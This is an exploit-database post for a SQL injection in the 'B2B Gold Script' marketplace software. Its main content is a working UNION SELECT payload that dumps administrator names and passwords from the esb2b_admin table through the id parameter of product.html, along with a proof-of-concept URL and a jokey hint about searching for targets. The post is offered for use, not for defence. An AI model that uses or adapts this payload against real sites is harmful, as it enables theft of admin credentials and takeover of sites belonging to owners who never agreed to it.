B2B Gold Script (id) SQL Injection Vulnerability

================================================
B2B Gold Script (id) SQL Injection Vulnerability
================================================

Author      : v3n0m
Site        : http://yogyacarderlink.web.id/
Date        : April, 30-2010
Location    : Jakarta, Indonesia
Time Zone   : GMT +7:00
----------------------------------------------------------------
 
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Application : B2B Gold Script
Vendor      : http://www.alibabaclone.com/
Price       : $499 USD
Google Dork : Use your brain & imagination :)
Overview    :
 
B2B trading Marketplace Script clone of alibaba Marketplace script is a
wonderful solution to launch your own business to business and b2c site.
Script is packed with lot of features to provide a very sound foundation
to your trading portal site.
----------------------------------------------------------------
 
Exploit:
~~~~~~~
 
-9999+union+all+select+0,0,group_concat(es_admin_name,char(58),es_pwd)v3n0m,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+from+esb2b_admin--
 
 
SQLi p0c:
~~~~~~~
 
http://127.0.0.1/[path]/product.html?id=[SQLi]
----------------------------------------------------------------



#  0day.today [2018-01-04]  #